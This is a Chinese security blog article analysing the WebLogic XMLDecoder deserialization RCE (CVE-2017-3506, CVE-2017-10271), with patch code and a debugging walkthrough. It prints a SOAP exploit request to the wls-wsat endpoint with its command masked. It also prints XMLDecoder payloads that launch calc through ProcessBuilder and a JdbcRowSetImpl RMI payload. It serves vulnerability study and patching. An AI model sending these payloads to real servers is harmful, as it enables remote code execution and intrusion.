Weblogic XMLDecoder RCE分析

xxlegend / 2017-12-26 12:17:00 / 浏览数 3198 技术文章 技术文章 顶(0) 踩(0)

挖矿确实太火，现在只要存在RCE漏洞就会有矿机的身影，这不weblogic又火了一把。这次矿机使用的PoC是wls
wsat模块的RCE漏洞，这个漏洞的核心就是XMLDecoder的反序列化漏洞，关于XMLDecoder反序列化的漏洞在2013年就被广泛传播，这次的漏洞是由于官方修复不完善导

1 补丁分析

首先来看下weblogic的历史补丁，四月份补丁通告：
http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
这里面主要关注CVE-2017-3506，这是web service模块的漏洞。

10月份补丁通告：
https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html
主要关注CVE-2017-10271，是WLS Security组建的漏洞，英文描述如下：
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges
[CVE-2017-10271].这是CVE-2017-10271的描述信息。
测试的poc如下：

```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
       <java version="1.8.0_131" class="java.beans.XMLDecoder">
         <void class="java.lang.ProcessBuilder">
           <array class="java.lang.String" length="3">
             ■■■■
         <void method="start"/></void>
       </java>
     </work:WorkContext>
   </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>
```

对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
执行的效果图如下：

跟踪到底这还是XMLDecoder的漏洞，下面来分析补丁代码：首先来看3506的补丁的分析，在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中，
添加了validate方法，方法的实现如下：

```
private void validate(InputStream is) {
     WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

     try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
           public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
              if(qName.equalsIgnoreCase("object")) {
                 throw new IllegalStateException("Invalid context type: object");
              }
           }
        });
     } catch (ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
     } catch (SAXException var6) {
```

```
        throw new IllegalStateException("Parser Exception", var6);
     } catch (IOException var7) {
        throw new IllegalStateException("Parser Exception", var7);
     }
  }
```

简单来说就是在解析xml的过程中，如果Element字段值为Object就抛出异常，这简直太脑残了，所以马上就有了CVE-2017-10271。我前段时间分析Oracle Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter
相关代码时只关注了这块dos的漏洞，没看到10271添加的对new，method，void的去除，还想当然的以为自己找到0day了呢。因为可以通过其他方式绕过，比如典型的就

```
<java version="1.4.0" class="java.beans.XMLDecoder">
   <new class="java.lang.ProcessBuilder">
       <string>calc</string><method name="start" />
   </new>
</java>
```

至于为什么XMLDecoder在解析的过程中能执行代码呢，大家可以以如下测试用例进行测试：

```
<java version="1.8.0_131" class="java.beans.XMLDecoder">
   <void class="com.sun.rowset.JdbcRowSetImpl">
   <void property="dataSourceName">
       <string>rmi://localhost:1099/Exploit</string>
   </void>
   <void property="autoCommit">
       <boolean>true</boolean>
   </void>
   </void>
</java>
```

是不是觉得变种太多，写法太灵活了，比XStream远程执行代码的要求还低。根据如上poc首先生成JdbcRowSetImpl的实例，接着调用该实例的set方法来初始化该实例的属

针对上面的PoC，官方放出了10271的补丁，补丁如下：

```
private void validate(InputStream is) {
  WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

  try {
     SAXParser parser = factory.newSAXParser();
     parser.parse(is, new DefaultHandler() {
        private int overallarraylength = 0;

        public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
           if(qName.equalsIgnoreCase("object")) {
              throw new IllegalStateException("Invalid element qName:object");
           } else if(qName.equalsIgnoreCase("new")) {
              throw new IllegalStateException("Invalid element qName:new");
           } else if(qName.equalsIgnoreCase("method")) {
              throw new IllegalStateException("Invalid element qName:method");
           } else {
              if(qName.equalsIgnoreCase("void")) {
                 for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                    if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                       throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                    }
                 }
              }

              if(qName.equalsIgnoreCase("array")) {
                 String var9 = attributes.getValue("class");
                 if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                    throw new IllegalStateException("The value of class attribute is not valid for array element.");
                 }
```

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。如下的测试用例就不可执行：

```
<java version="1.4.0" class="java.beans.XMLDecoder">
   <new class="java.lang.ProcessBuilder">
       <string>calc</string><method name="start" />
   </new>
</java>
```

2 动态调试

为了更好的理解这个漏洞，我们通过本地的weblogic动态调试一番，PoC还是前面提到的，具体的调用栈如下：

调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给re

```
public NextAction processRequest(Packet var1) {
  this.isUseOldFormat = false;
  if(var1.getMessage() != null) {
     HeaderList var2 = var1.getMessage().getHeaders();
     Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
     if(var3 != null) {
        this.readHeaderOld(var3);
        this.isUseOldFormat = true;
     }

     Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
     if(var4 != null) {
        this.readHeader(var4);
     }
  }


protected void readHeaderOld(Header var1) {
  try {
     XMLStreamReader var2 = var1.readHeader();
     var2.nextTag();
     var2.nextTag();
     XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
     ByteArrayOutputStream var4 = new ByteArrayOutputStream();
     XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
     var3.bridge(var2, var5);
     var5.close();
     WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
     this.receive(var6);
  } catch (XMLStreamException var7) {
     throw new WebServiceException(var7);
  } catch (IOException var8) {
     throw new WebServiceException(var8);
  }
}
```

在上述代码中ByteArrayOutputStream var4会被填充为PoC实际执行部分代码即：

```
<java version="1.8.0_131" class="java.beans.XMLDecoder">
         <void class="java.lang.ProcessBuilder">
           <array class="java.lang.String" length="3">
            ■■■
         <void method="start"/></void>
       </java>
```

接着这部分xml会被传递到XMLDecoder的readObject方法中从而导致反序列化远程代码执行。

总之，尽快打上Weblogic 10月份的补丁

上一篇：PHP安全新闻早八点-高级持续渗透... 下一篇：WebLogic WLS-WebS...

1. 0 条回复
   - 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板